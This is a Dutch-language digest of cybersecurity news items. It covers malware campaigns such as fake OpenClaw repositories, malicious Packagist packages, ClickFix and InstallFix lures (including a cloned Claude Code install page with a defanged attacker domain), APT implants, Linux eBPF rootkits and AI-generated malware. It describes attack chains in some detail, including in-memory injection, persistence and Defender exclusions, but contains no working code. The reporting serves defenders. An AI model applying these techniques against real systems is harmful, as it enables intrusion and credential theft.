Voor Windows-gebruikers gebruikten de dreigingsactoren de nep-repositories om OpenClaw_x64.exe te leveren, die meerdere kwaadaardige uitvoerbare bestanden installeerde. Huntress zegt dat de Windows Managed AV en Managed Defender for Endpoint oplossingen de bestanden in quarantaine plaatsten op de machine die ze analyseerden. De meeste van de uitvoerbare bestanden waren Rust-gebaseerde malware loaders die informatie stealers in het geheugen uitvoerden. Een van de payloads was Vidar stealer die contact opnam met Telegram- en Steam-gebruikersprofielen om command-and-control (C2) data te verkrijgen.

Een ander Windows executable dat op deze manier werd geleverd, was de GhostSocks backconnect proxy malware, ontworpen om de machines van gebruikers om te zetten in een proxy node. Een aanvaller kan het systeem gebruiken om toegang te krijgen tot accounts met credentials die van de machine zijn gestolen, waardoor anti-fraudecontroles worden omzeild. Dreigingsactoren gebruiken ook proxy nodes om kwaadaardig verkeer te routeren of om hun sporen te verbergen bij aanvallen.

Tijdens het onderzoek identificeerde Huntress meerdere accounts en repositories die in dezelfde campagne werden gebruikt en die malware leverden aan gebruikers die op zoek waren naar OpenClaw-installatieprogramma's. Alle kwaadaardige repositories zijn gemeld aan GitHub. De officiële OpenClaw repository op GitHub is hier te vinden. Het wordt aanbevolen om de officiële portals van de software die u gebruikt te bookmarken in plaats van elke keer online te zoeken.

Bron: Huntress | Bron 2: github.com | Bron 3: hubs.li

Passaic County, een van de grootste graafschappen in New Jersey met bijna 600.000 inwoners, kampt met een cyberaanval die de telefoonlijnen en IT-systemen van overheidsinstanties heeft verstoord. De county maakte woensdagavond bekend dat het op de hoogte is van een "malware-aanval" die de IT-systemen en telefoonlijnen treft. Het team van de county werkt samen met federale en staatsfunctionarissen om de kwestie te onderzoeken en in te dammen.

De telefoonlijnen van de county waren woensdagochtend al uitgevallen, waarna in de middag werd bevestigd dat de storingen werden veroorzaakt door een cyberaanval. Na verschillende ransomware-aanvallen op grote stedelijke gebieden van 2023 tot 2025, hebben cybercriminelen hun inspanningen gericht op kleinere gemeenten. In 2026 zijn al tientallen county- en stadsoverheden getroffen, waaronder steden in Florida, Connecticut en West Virginia.

Naast lokale overheden zijn ook ziekenhuizen de afgelopen weken doelwit geweest van hackers. Een van de grootste ziekenhuizen in Mississippi heeft wekenlang nodig gehad om te herstellen van een ransomware-aanval en kon pas op maandag de normale activiteiten hervatten na dagen van uitval, sluitingen en geannuleerde afspraken.

Volgens functionarissen in Passaic hebben "verschillende andere lokale overheden in New Jersey soortgelijke incidenten meegemaakt", waarschijnlijk een verwijzing naar eerdere ransomware-aanvallen die Somerset County, Camden County, Bergen County, de township Montclair en de stad Hoboken troffen.

Bron: Passaic County | Bron 2: cocoafl.gov | Bron 3: umc.edu

Malafide Packagist-pakketten, die zich voordoen als Laravel-utilities, installeren een encrypted PHP Remote Access Trojan (RAT) via Composer dependencies. Dit maakt remote toegang en Command & Control (C2) callbacks mogelijk.

De kwaadaardige pakketten zijn ontdekt door onderzoekers. Ze maken gebruik van een meerlagige aanpak om detectie te vermijden. De eerste laag bevat legitiem ogende Laravel-code, terwijl de tweede laag een encrypted RAT bevat. Bij installatie decrypt het pakket de RAT en installeert deze op het systeem van het slachtoffer. De RAT geeft aanvallers de mogelijkheid om op afstand toegang te krijgen tot het systeem, bestanden te stelen en kwaadaardige code uit te voeren.

Het is belangrijk voor ontwikkelaars om Composer dependencies zorgvuldig te controleren voordat ze deze installeren. Het is ook aan te raden om een security scanner te gebruiken om malafide code te detecteren.

Bron: Socket

Microsoft heeft details bekendgemaakt over een nieuwe, wijdverspreide social engineering-campagne genaamd ClickFix. Deze campagne maakt gebruik van de Windows Terminal-app om een complexe aanvalsketen te activeren en de Lumma Stealer-malware te installeren. De activiteit werd waargenomen in februari 2026. In plaats van gebruikers te instrueren om het Windows Run-dialoogvenster te openen en daar een commando te plakken, maakt deze campagne direct gebruik van het terminalemulatorprogramma.

"Deze campagne instrueert doelwitten om de Windows + X → I shortcut te gebruiken om Windows Terminal (wt.exe) direct te starten. Dit leidt gebruikers naar een bevoorrechte commando-uitvoeringsomgeving die zich mengt met legitieme administratieve workflows en daardoor betrouwbaarder lijkt," aldus het Microsoft Threat Intelligence team op X.

Deze variant is opmerkelijk omdat het detecties omzeilt die specifiek zijn ontworpen om misbruik van het Run-dialoogvenster te signaleren. Bovendien profiteert het van de legitimiteit van Windows Terminal om nietsvermoedende gebruikers te misleiden om kwaadaardige commando's uit te voeren die worden aangeboden via valse CAPTCHA-pagina's, prompts voor probleemoplossing of andere verificatie-achtige lokmiddelen.

De aanvalsketen na de compromittering is ook uniek: wanneer de gebruiker een hex-gecodeerd, XOR-gecomprimeerd commando van de ClickFix-lokpagina in een Windows Terminal-sessie plakt, worden extra Terminal/PowerShell-instances opgestart om uiteindelijk een PowerShell-proces aan te roepen dat verantwoordelijk is voor het decoderen van het script.

Dit leidt tot het downloaden van een ZIP-payload en een legitiem, maar hernoemd 7-Zip binair bestand, dat met een willekeurige bestandsnaam op schijf wordt opgeslagen. Het hulpprogramma extraheert vervolgens de inhoud van het ZIP-bestand, wat een meerfasige aanvalsketen in gang zet met de volgende stappen:

*   Meer payloads ophalen

*   Persistentie instellen via geplande taken

*   Microsoft Defender-uitsluitingen configureren

*   Machine- en netwerkgegevens exfiltreren

*   Lumma Stealer implementeren met behulp van een techniek genaamd QueueUserAPC() door de malware in "chrome.exe" en "msedge.exe" processen te injecteren

"De stealer richt zich op waardevolle browserartefacten, waaronder Web Data en Login Data, oogst opgeslagen inloggegevens en exfiltreert deze naar door aanvallers gecontroleerde infrastructuur," aldus Microsoft.

Microsoft ontdekte ook een tweede aanvalsroute, waarbij het gecomprimeerde commando, wanneer het in Windows Terminal wordt geplakt, een willekeurig genoemd batchscript downloadt naar de "AppData\Local" map via "cmd.exe" om een Visual Basic Script naar de Temp-map (aka %TEMP%) te schrijven.

"Het batchscript wordt vervolgens uitgevoerd via cmd.exe met het /launched command-line argument. Hetzelfde batchscript wordt vervolgens uitgevoerd via MSBuild.exe, wat resulteert in LOLBin-misbruik," voegde het bedrijf eraan toe. "Het script maakt verbinding met Crypto Blockchain RPC-endpoints, wat duidt op een etherhiding-techniek. Het voert ook QueueUserAPC()-gebaseerde code-injectie uit in chrome.exe en msedge.exe processen om Web Data en Login Data te oogsten."

Bron: Microsoft

Een aan China gelinkte APT-groep, bekend als UAT-9244, heeft sinds 2024 telecomproviders in Zuid-Amerika aangevallen. De groep compromitteert Windows-, Linux- en netwerkapparaten. Volgens onderzoekers van Cisco Talos is de groep nauw verbonden met FamousSparrow en Tropic Trooper, maar wordt deze als een apart cluster beschouwd. Deze inschatting is gebaseerd op vergelijkbare tooling, tactieken, technieken, procedures en victimologie.

De campagne maakt gebruik van drie voorheen ongedocumenteerde malwarefamilies: TernDoor, een Windows-backdoor; PeerTime, een Linux-backdoor die BitTorrent gebruikt; en BruteEntry, een brute-force scanner die proxy-infrastructuur (ORB's) bouwt.

TernDoor wordt ingezet via DLL side-loading, waarbij het legitieme wsprint.exe wordt gebruikt om kwaadaardige code van BugSplatRc64.dll te laden. Deze code decrypt en voert de uiteindelijke payload in het geheugen uit (geïnjecteerd in msiexec.exe). De malware bevat een embedded Windows-driver, WSPrint.sys, die wordt gebruikt om processen te beëindigen, te onderbreken en te hervatten. Persistentie wordt bereikt via geplande taken en Windows Registry-aanpassingen, die ook worden gebruikt om de geplande taak te verbergen. TernDoor kan ook opdrachten uitvoeren via een remote shell, willekeurige processen uitvoeren, bestanden lezen/schrijven, systeeminformatie verzamelen en zichzelf verwijderen.

PeerTime is een ELF Linux-backdoor die zich richt op meerdere architecturen (ARM, AARCH, PPC, MIPS), wat suggereert dat het is ontworpen om een breed scala aan embedded systemen en netwerkapparaten te compromitteren die in telecomomgevingen worden gebruikt. Cisco Talos documenteerde twee versies van PeerTime. Een variant is geschreven in C/C++ en de andere is gebaseerd op Rust. De onderzoekers vonden ook Simplified Chinese debug strings in de instrumentor binary. De payload wordt gedecrypt en in het geheugen geladen, en het proces wordt hernoemd om legitiem te lijken. PeerTime gebruikt het BitTorrent-protocol voor command-and-control (C2) communicatie, downloadt en voert payloads uit van peers en gebruikt BusyBox om de bestanden op de host te schrijven.

BruteEntry bestaat uit een Go-based instrumentor binary en een brute-forcing component. De rol is om gecompromitteerde apparaten om te zetten in scanning nodes, bekend als Operational Relay Boxes (ORB's). De aanvaller gebruikt de machines die BruteEntry draaien om te scannen naar nieuwe doelen en brute-force toegang te krijgen tot SSH, Postgres en Tomcat. Inlogpogingen worden teruggestuurd naar de C2 met taakstatus en notities.

Cisco Talos heeft indicators of compromise (IoCs) gepubliceerd die geassocieerd zijn met de waargenomen UAT-9244 activiteit.

Bron: Cisco Talos | Bron 2: blog.talosintelligence.com | Bron 3: hubs.li

Unit 42 van Palo Alto Networks heeft een cluster van activiteiten ontdekt, aangeduid als CL-UNK-1068, dat sinds minstens 2020 gericht is op organisaties in Zuid-, Zuidoost- en Oost-Azië. De aanvallen zijn gericht op kritieke sectoren, waaronder de luchtvaart, energie, overheid, rechtshandhaving, farmaceutische industrie, technologie en telecommunicatie.

Unit 42 vermoedt met grote zekerheid dat de aanvallers achter CL-UNK-1068 een Chinese dreigingsactor zijn. Deze beoordeling is gebaseerd op de herkomst van hun tools, taalkundige artefacten in configuratiebestanden en hun consistente, langdurige targeting van kritieke infrastructuur in Azië. Het primaire doel van de aanvallers is waarschijnlijk cyberespionage, hoewel cybercriminaliteit niet volledig kan worden uitgesloten.

De onderzoekers hebben de specifieke tools en technieken geïdentificeerd die deze groep kenmerken. CL-UNK-1068 maakt gebruik van DLL-sideloading en een "Fast Reverse Proxy" genaamd ScanPortPlus. Een van de belangrijkste tools die door de dreigingsactor wordt gebruikt, is een aangepaste versie van Xnote, een tool die al in 2014 werd gebruikt. Nieuwere versies van Xnote gebruiken een andere codestructuur dan de oudere versies, waardoor detectie lastiger wordt. De malware communiceert met een command-and-control (C2)-server om informatie te stelen en andere kwaadaardige activiteiten uit te voeren.

Palo Alto Networks klanten zijn beschermd tegen de genoemde dreigingen door Advanced URL Filtering, Advanced DNS Security, Next-Generation Firewall (NGFW) met Advanced Threat Prevention en Advanced WildFire.

Bron: Unit 42 | Bron 2: github.com

De Australische overheid heeft een waarschuwing uitgebracht betreffende aanvallen met de INC Ransom-ransomware. Organisaties wordt geadviseerd om ingebouwde en lokale administrator-accounts te beperken of uit te schakelen, waar mogelijk multifactorauthenticatie (MFA) toe te passen en het gebruik van tools zoals TeamViewer en AnyDesk te beperken tot alleen geautoriseerde beheerders, of anders de software uit te schakelen.

De INC Ransom-groep was eerder verantwoordelijk voor de aanval op de Amerikaanse tak van Ahold Delhaize, waarbij gegevens van medewerkers van Albert Heijn, Etos en Gall & Gall werden gestolen. Ook Britse ziekenhuizen werden doelwit van de ransomware. De criminelen achter INC Ransom hanteren een Ransomware-as-a-Service (RaaS) model. Via RaaS kunnen criminelen op eenvoudige wijze over ransomware beschikken, waarbij een deel van de inkomsten naar de ontwikkelaar van de ransomware gaat. De verspreiding van de ransomware gebeurt door gebruik te maken van gestolen inloggegevens en kwetsbaarheden in apparaten die vanaf internet toegankelijk zijn.

Volgens het Australische Cyber Security Centre (ACSC) richtte de groep zich eerst op doelwitten in de Verenigde Staten en het Verenigd Koninkrijk, maar zijn sinds vorig jaar steeds vaker organisaties in Australië en Nieuw-Zeeland het doelwit, waaronder instanties in de gezondheidszorg. Voordat aanvallers de ransomware uitrollen om bestanden te versleutelen, wordt er eerst data buitgemaakt. Als getroffen organisaties het gevraagde losgeld niet betalen dreigen de criminelen de buitgemaakte gegevens via hun eigen website te publiceren.

Het ACSC adviseert organisaties om verschillende maatregelen te treffen om de kans op een ransomware-aanval te verkleinen. Zo wordt aangeraden om kwetsbaarheden tijdig te patchen, vpn-toegang extra te beveiligen, waar mogelijk MFA toe te passen, het op een veilige wijze maken en testen van back-ups en het filteren en monitoren van netwerkverkeer. Organisaties worden ook aangeraden om standaard gebruikersaccounts van administrator-accounts te scheiden en gedeelde, ingebouwde en lokale admin-accounts waar mogelijk te beperken of uit te schakelen. Tevens wordt geadviseerd om het gebruik van remote management tools zoals TeamViewer en AnyDesk tot alleen geautoriseerde admins te beperken en dergelijke tools uit te schakelen als ze niet nodig zijn.

Bron: Australische overheid

Een aan China gelinkte APT-groep (advanced persistent threat) richt zich sinds 2024 op kritieke telecommunicatie-infrastructuren in Zuid-Amerika. De groep, door Cisco Talos aangeduid als UAT-9244, gebruikt drie verschillende implants om Windows- en Linux-systemen en edge devices aan te vallen. UAT-9244 is nauw verbonden met een andere groep, FamousSparrow, die tactische overeenkomsten vertoont met Salt Typhoon, een Chinese spionagegroep die bekend staat om het aanvallen van telecomproviders. Er is echter geen sluitend bewijs dat UAT-9244 en Salt Typhoon aan elkaar verbindt.

De aanvalsketen die door Cisco Talos is geanalyseerd, verspreidt drie niet eerder gedocumenteerde implants: TernDoor (voor Windows), PeerTime (ook bekend als angrypeer, voor Linux) en BruteEntry, die op netwerk-edge devices wordt geïnstalleerd. De exacte methode van initiële toegang is onbekend, maar de aanvallers hebben in het verleden systemen met verouderde versies van Windows Server en Microsoft Exchange Server aangevallen om web shells te plaatsen.

TernDoor wordt ingezet via DLL side-loading, waarbij het legitieme "wsprint.exe" wordt gebruikt om een malafide DLL ("BugSplatRc64.dll") te lanceren. Deze DLL decrypt en executeert de uiteindelijke payload in het geheugen. TernDoor, een variant van CrowDoor (zelf een variant van SparrowDoor), wordt sinds november 2024 door UAT-9244 gebruikt. Het vestigt persistentie op de host via een geplande taak of de Registry Run key. TernDoor verschilt van CrowDoor door een andere set commandocodes te gebruiken en een Windows-driver in te bedden om processen te onderbreken, te hervatten en te beëindigen. Het ondersteunt slechts één command-line switch ("-u") om zichzelf van de host te verwijderen en alle bijbehorende artefacten te verwijderen. Na de lancering controleert het of het in "msiexec.exe" is geïnjecteerd, waarna het een configuratie decodeert om de command-and-control (C2)-parameters te extraheren. Vervolgens communiceert het met de C2-server, waardoor het processen kan creëren, willekeurige commando's kan uitvoeren, bestanden kan lezen/schrijven, systeeminformatie kan verzamelen en de driver kan inzetten om kwaadaardige componenten te verbergen en processen te beheren.

Analyse van de UAT-9244-infrastructuur leidde tot de ontdekking van een Linux peer-to-peer (P2P) backdoor genaamd PeerTime. Deze is gecompileerd voor verschillende architecturen (ARM, AARCH, PPC en MIPS) om diverse embedded systemen te infecteren. De ELF-backdoor, samen met een instrumentor binary, wordt via een shellscript ingezet. Volgens Talos-onderzoekers Asheer Malhotra en Brandon White controleert de instrumentor ELF binary of Docker aanwezig is op de gecompromitteerde host met de commando's "docker" en "docker –q". Als Docker wordt gevonden, wordt de PeerTime-loader uitgevoerd. De instrumentor bevat debug strings in vereenvoudigd Chinees, wat erop wijst dat het een custom binary is die is gemaakt en ingezet door Chinees sprekende dreigingsactoren. De primaire taak van de loader is het decrypten en decomprimeren van de uiteindelijke PeerTime-payload en deze direct in het geheugen uit te voeren. PeerTime komt in twee varianten: een versie geschreven in C/C++ en een nieuwere variant geprogrammeerd in Rust. De backdoor kan zichzelf hernoemen als een onschadelijk proces om detectie te voorkomen en gebruikt het BitTorrent-protocol om C2-informatie op te halen, bestanden van zijn peers te downloaden en deze op het gecompromitteerde systeem uit te voeren.

Ook aanwezig op de servers van de dreigingsactor is een set shellscripts en payloads, waaronder een brute-force scanner genaamd BruteEntry. Deze wordt geïnstalleerd op edge devices om ze om te zetten in mass-scanning proxy nodes binnen een Operational Relay Box (ORB) die in staat is om brute-force aanvallen uit te voeren op Postgres-, SSH- en Tomcat-servers. Dit wordt bereikt door middel van een shellscript dat twee Golang-gebaseerde componenten dropt: een orchestrator die BruteEntry levert, die vervolgens contact opneemt met een C2-server om de lijst met IP-adressen te verkrijgen die moeten worden aangevallen. De backdoor rapporteert succesvolle logins terug naar de C2-server. Volgens Talos geeft "success" aan of de brute force succesvol was (true of false), en "notes" biedt specifieke informatie over het succes. Als de login mislukt, staat er "All credentials tried."

Bron: Cisco Talos | Bron 2: blog.talosintelligence.com

Remote Monitoring and Management (RMM)-tools vormen de ruggengraat van moderne IT-operaties. Ze bieden snelheid, controle en gemak bij het patchen van systemen, oplossen van problemen en beheren van netwerken. Echter, deze eigenschappen maken ze ook een aantrekkelijk doelwit voor cybercriminelen. Het misbruik van deze tools is uitgegroeid tot een van de gevaarlijkste toegangspunten in het huidige dreigingslandschap.

Het Huntress 2026 Cyber Threat Report constateerde een toename van 277% in RMM-misbruik in 2025. Aanvallers gebruiken deze tools om toegang te krijgen tot omgevingen van slachtoffers zonder dat dit direct opvalt. Legitieme RMM-executables worden vaak niet als schadelijk herkend door security-producten, omdat ze niet overeenkomen met bekende malware-signatures zoals ransomware of remote access trojans (RAT's). Uit onderzoek van Huntress bleek dat meer dan 50% van de gevallen met verdachte Atera RMM-activiteit direct verband houdt met ransomware-aanvallen.

Zodra een RMM-tool is gecompromitteerd, kunnen aanvallers taken automatiseren, commando's uitvoeren, zich door het netwerk verplaatsen en ransomware implementeren. Volgens het Huntress 2026 Cyber Threat Report kan de schade door ransomware zich binnen één tot twee uur ontvouwen bij misbruik van tools als RustDesk of Atera.

De initiële toegang begint vaak met phishing en social engineering. Slachtoffers klikken op overtuigende e-mails, bijvoorbeeld met verzoeken om e-handtekeningen, factuurwaarschuwingen of links naar gedeelde bestanden, waardoor een RMM-agent wordt geïnstalleerd die rechtstreeks met de aanvaller is verbonden.

Eenmaal binnen maken aanvallers misbruik van het vertrouwen dat organisaties in goedgekeurde tools stellen. In een casus beschreven door de Huntress SOC gebruikte een dreigingsactor gestolen RMM-credentials om toegang te krijgen tot de omgeving van een managed service provider (MSP), enumeration commands uit te voeren en de Huntress-agent uit te schakelen om detectie te voorkomen.

Om dit te voorkomen, moeten organisaties stoppen met het blindelings vertrouwen van tools en gedrag gaan verifiëren, zoals welke gebruikers verbinding maken, op welke tijdstippen en vanaf welke locaties. Organisaties zouden een gedetailleerde inventaris moeten bijhouden van elke goedgekeurde RMM-tool, inclusief executable hashes en toegestane connection endpoints. Regelmatige security awareness training helpt medewerkers phishing lures te herkennen voordat een kwaadaardige RMM-agent op een machine belandt.

Bron: Huntress

Linux rootkits vormen een groeiende bedreiging voor moderne infrastructuren, waarbij aanvallers geavanceerde kernel features misbruiken om detectie te vermijden. Elastic Security Labs onderzoekers hebben in een rapport van 5 maart 2026 de evolutie van Linux rootkits in kaart gebracht, van shared-object hijacking tot eBPF-gebaseerde implants en io_uring-powered evasion. Voorbeelden hiervan zijn TripleCross, Boopkit en RingReaper (2025).

De huidige rootkits maken misbruik van kernel features die oorspronkelijk bedoeld waren voor legitieme doeleinden. Extended Berkeley Packet Filter (eBPF), bedoeld voor packet filtering en tracing, wordt nu gebruikt om syscalls te hooken en kernel events te onderscheppen zonder traditionele kernel modules te laden. Io_uring, een high-performance asynchronous I/O interface, wordt misbruikt om systeemoperaties te batchen, waardoor het aantal waarneembare syscall events vermindert.

Deze verschuiving heeft een grote impact. Traditionele detectietools zoals rkhunter en chkrootkit scannen op LKM-based compromissen, maar eBPF implants zijn niet zichtbaar in /proc/modules en kunnen Secure Boot restricties omzeilen. Dit laat een blinde vlek achter in Linux omgevingen, die actief wordt misbruikt door rootkit auteurs.

eBPF rootkits laden bytecode die wordt geverifieerd door de kernel, waardoor de implant legitiemer lijkt. Ze koppelen hun programma's aan syscall entry tracepoints of Linux Security Module (LSM) hooks, waardoor ze zicht hebben op process execution, file access en network activity zonder kernel code direct te wijzigen. TripleCross demonstreerde hoe eBPF programma's de execvesyscall konden hooken om process execution te monitoren en manipuleren, terwijl Boopkit eBPF gebruikte om een covert command-and-control kanaal te bouwen, verborgen in network packets.

io_uring stelt een proces in staat om file reads, writes en metadata operaties in een enkele batch uit te voeren via shared memory rings, in plaats van individuele syscalls te triggeren. Dit betekent dat een kwaadaardig proces op grote schaal data kan verzamelen met minimale syscall-level telemetry, wat een probleem vormt voor EDR oplossingen die afhankelijk zijn van per-syscall visibility.

Elastic's onderzoekers geven concrete aanbevelingen voor het detecteren en reageren op deze dreigingen. Monitoring van afwijkend gebruik van de io_uring_enter en io_uring_register syscalls kan processen onthullen die ongebruikelijk grote operation batches indienen of excessieve file descriptors registreren. Organisaties moeten alle geladen eBPF programma's auditen op systemen waar eBPF tooling niet wordt verwacht. Memory forensics, kernel integrity checks en telemetry verzameld onder het OS level blijven de meest betrouwbare methoden voor het identificeren van rootkits. Het wordt ook aangeraden om kernel lockdown policies te handhaven, module signing in te schakelen en kernels up-to-date te houden, met name verder dan versie 6.9.

Bron: Elastic

De Pakistaans-georiënteerde dreigingsactor Transparent Tribe maakt gebruik van AI-gestuurde coding tools om doelen aan te vallen met verschillende implants. Volgens Bitdefender is de activiteit ontworpen om een "grote hoeveelheid, middelmatige massa implants" te produceren, die zijn ontwikkeld met behulp van minder bekende programmeertalen zoals Nim, Zig en Crystal. Daarbij wordt vertrouwd op diensten zoals Slack, Discord, Supabase en Google Sheets om onder de radar te blijven.

Volgens de onderzoekers Radu Tudorica, Adrian Schipor, Victor Vrabie, Marius Baciu en Martin Zugecsaidin is er geen sprake van een doorbraak in technische verfijning, maar eerder van een transitie naar AI-ondersteunde malware-industrialisatie. Hierdoor kan de actor doelomgevingen overspoelen met disposable, polyglot binaries.

Deze transitie, waarbij vibe-coded malware (akavibeware) wordt ingezet om detectie te bemoeilijken, wordt door Bitdefender gekenmerkt als Distributed Denial of Detection (DDoD). Het idee is niet om detectie te omzeilen door technische verfijning, maar om doelomgevingen te overspoelen met disposable binaries, elk met een andere taal en communicatieprotocol.

Large language models (LLM's) helpen dreigingsactoren hierbij door de drempel tot cybercriminaliteit te verlagen en de expertisekloof te dichten. Ze kunnen functionele code genereren in onbekende talen, hetzij vanaf nul, hetzij door de core business logic te porten vanuit meer gangbare talen.

De meest recente aanvallen zijn gericht op de Indiase overheid en haar ambassades in diverse buitenlandse landen. APT36 gebruikt LinkedIn om high-value targets te identificeren. Ook de Afghaanse overheid en diverse private bedrijven zijn in mindere mate doelwit.

De infectieketens beginnen waarschijnlijk met phishing e-mails met Windows shortcuts (LNK's) gebundeld in ZIP-archieven of ISO-images. PDF-lokmiddelen met een prominente "Download Document"-knop worden gebruikt om gebruikers te herleiden naar een door de aanvaller gecontroleerde website die dezelfde ZIP-archieven downloadt.

Het LNK-bestand wordt gebruikt om PowerShell-scripts in het geheugen uit te voeren, die vervolgens de main backdoor downloaden en uitvoeren, en post-compromise acties faciliteren. Dit omvat de inzet van adversary simulation tools zoals Cobalt Strike en Havoc.

Andere tools die zijn waargenomen:

*   Warcode: Een custom shellcode loader geschreven in Crystal, die wordt gebruikt om een Havoc agent reflectief direct in het geheugen te laden.

*   NimShellcodeLoader: Een experimenteel equivalent van Warcode dat wordt gebruikt om een Cobalt Strike beacon te deployen.

*   CreepDropper: Een .NET malware die wordt gebruikt om extra payloads te leveren en installeren, waaronder SHEETCREEP (een Go-based infostealer die Microsoft Graph API gebruikt voor C2) en MAILCREEP (een C#-based backdoor die Google Sheets gebruikt voor C2).

*   SupaServ: Een Rust-based backdoor die een primair communicatiekanaal opzet via het Supabase platform, met Firebase als fallback. Het bevat Unicode emojis, wat suggereert dat het waarschijnlijk is ontwikkeld met AI.

*   LuminousStealer: Een Rust-based infostealer die Firebase en Google Drive gebruikt om bestanden met bepaalde extensies te exfiltreren (.txt, .docx, .pdf, .png, .jpg, .xlsx, .pptx, .zip, .rar, .doc en .xls).

*   CrystalShell: Een backdoor geschreven in Crystal die Windows-, Linux- en macOS-systemen kan targeten en hard-coded Discord channel ID's gebruikt voor C2. Het ondersteunt het uitvoeren van commando's en het verzamelen van hostinformatie. Een variant gebruikt Slack voor C2.

*   ZigShell: Een equivalent van CrystalShell, geschreven in Zig, die Slack gebruikt als primaire C2 infrastructuur. Het ondersteunt ook het uploaden en downloaden van bestanden.

*   CrystalFile: Een command interpreter geschreven in Crystal die continu de "C:\Users\Public\AccountPictures\input.txt" monitort en de inhoud uitvoert met "cmd.exe."

*   LuminousCookies: Een Rust-based injector om cookies, wachtwoorden en betalingsinformatie te exfiltreren uit Chromium-based browsers door app-bound encryption te omzeilen.

*   BackupSpy: Een Rust-based utility ontworpen om het lokale bestandssysteem en externe media te monitoren op high-value data.

*   ZigLoader: Een loader geschreven in Zig die shellcode in het geheugen decrypt en uitvoert.

*   Gate Sentinel Beacon: Een aangepaste versie van het open-source GateSentinelC2 framework project.

Bitdefender stelt dat de transitie van APT36 naar vibeware een technische achteruitgang vertegenwoordigt. Hoewel AI-ondersteunde ontwikkeling het sample volume verhoogt, zijn de resulterende tools vaak instabiel en vol met logische fouten. De strategie van de actor is gericht op signature-based detection, die al lang is vervangen door moderne endpoint security.

Bitdefender waarschuwt dat de dreiging van AI-ondersteunde malware de industrialisatie van de aanvallen is, waardoor dreigingsactoren hun activiteiten snel en met minder moeite kunnen opschalen.

Bron: Bitdefender

Cybercriminelen maken gebruik van een nieuwe variant van de ClickFix social engineering techniek, genaamd InstallFix, om gebruikers te misleiden tot het uitvoeren van kwaadaardige commando's. Dit gebeurt onder het mom van het installeren van legitieme command-line interface (CLI) tools. Deze techniek maakt misbruik van de gangbare praktijk onder ontwikkelaars om scripts te downloaden en uit te voeren via 'curl-to-bash' commando's, zonder de inhoud eerst grondig te controleren.

Onderzoekers van Push Security ontdekten dat aanvallers de InstallFix-techniek gebruiken met gekloonde pagina's van populaire CLI-tools, die kwaadaardige installatiecommando's aanbieden. Omdat het huidige beveiligingsmodel neerkomt op "vertrouw het domein", en meer niet-technische gebruikers nu werken met tools die voorheen waren voorbehouden aan ontwikkelaars, kan InstallFix een grotere bedreiging worden, aldus de onderzoekers.

In een rapport van Push Security wordt een gekloonde installatiepagina van Claude Code, de CLI coding assistant van Anthropic, uitgelicht. Deze pagina heeft dezelfde lay-out, branding en documentatie sidebar als de legitieme bron. Het verschil zit in de installatie-instructies voor macOS en Windows (PowerShell en Command Prompt), die malware leveren vanaf een endpoint dat door de aanvaller wordt beheerd. Alle links op de valse pagina leiden naar de legitieme Anthropic-site, behalve de installatie-instructies.

De aanvallers promoten deze pagina's via malvertising campagnes op Google Ads, waardoor kwaadaardige advertenties verschijnen in zoekresultaten voor zoekopdrachten zoals "Claude Code install" en "Claude Code CLI." BleepingComputer bevestigde dat de kwaadaardige websites nog steeds worden gepromoot via Google-gesponsorde zoekresultaten. Bij het zoeken naar de query "install claude code" was het eerste resultaat een Squarespace URL ( claude-code-cmd.squarespace[.]com ) die naar een kloon van de officiële Claude Code documentatie leidde.

Volgens de analyse van Push Security is de payload die via deze InstallFix-aanvallen wordt geleverd de Amatera Stealer, een malware die is ontworpen om gevoelige gegevens (cryptocurrency wallets, credentials) van gecompromitteerde systemen te stelen. De kwaadaardige InstallFix-commando's voor macOS bevatten base64-gecodeerde instructies voor het downloaden en uitvoeren van een binary van een domein dat door de aanvaller wordt beheerd. Voor Windows-gebruikers gebruikt het kwaadaardige commando het legitieme hulpprogramma 'mshta.exe' om de malware op te halen en activeert het extra processen zoals 'conhost.exe' om de uitvoering van de uiteindelijke payload, Amatera information stealer, te ondersteunen.

Amatera is een relatief nieuwe malware familie, vermoedelijk gebaseerd op de ACR Stealer, die als een subscription service (MaaS) aan cybercriminelen wordt verkocht. De malware is recentelijk waargenomen in afzonderlijke ClickFix-aanvallen die misbruik maakten van Windows App-V scripts voor payload delivery. Het kan wachtwoorden, cookies en sessietokens stelen die zijn opgeslagen in webbrowsers en systeeminformatie verzamelen terwijl het detectie door beveiligingstools ontwijkt. Push Security meldt dat de aanvallen bijzonder ontwijkend zijn, mede doordat de kwaadaardige sites worden gehost op legitieme platforms zoals Cloudflare Pages, Squarespace en Tencent EdgeOne.

Gebruikers die op zoek zijn naar Claude Code moeten ervoor zorgen dat ze installatie-instructies van officiële websites halen, alle gepromote Google Search-resultaten blokkeren of overslaan, en software download portals bookmarken voor tools die ze regelmatig opnieuw moeten downloaden. De onderzoekers verstrekken indicators of compromise, waaronder de domeinen voor het serveren van de gekloonde gidsen, voor het hosten van de kwaadaardige payloads, en de InstallFix-commando's.

Bron: Push Security | Bron 2: hubs.li | Bron 3: incode.com

Cybersecurity onderzoekers hebben details onthuld over een multi-stage malware campagne, genaamd VOID#GEIST, die batch scripts gebruikt om verschillende encrypted remote access trojans (RATs) te verspreiden, waaronder XWorm, AsyncRAT en Xeno RAT. De campagne is ontdekt door Securonix Threat Research.

De aanval begint met een geobfusceerd batch script dat een tweede batch script deployt, een legitieme embedded Python runtime stageert, en encrypted shellcode blobs decrypt. Deze shellcode wordt direct in het geheugen uitgevoerd door het te injecteren in aparte instances van "explorer.exe" met behulp van de Early Bird Asynchronous Procedure Call (APC) injectie techniek.

Volgens onderzoekers Akshay Gaikwad, Shikha Sangwan en Aaron Beardslee van Securonix, verschuiven moderne malware campagnes steeds meer van standalone executables naar complexe, script-gebaseerde delivery frameworks die legitiem gebruikersgedrag nabootsen. In plaats van traditionele PE binaries gebruiken aanvallers modulaire pipelines met batch scripts voor orchestration, PowerShell voor stealthy staging, legitieme embedded runtimes voor portability, en raw shellcode die direct in het geheugen wordt uitgevoerd voor persistence en controle.

Deze fileless execution minimaliseert detectie mogelijkheden op de schijf, waardoor de aanvallers onopgemerkt kunnen opereren. De aanpak biedt ook het voordeel dat de individuele stages onschadelijk lijken en op reguliere administratieve activiteiten lijken.

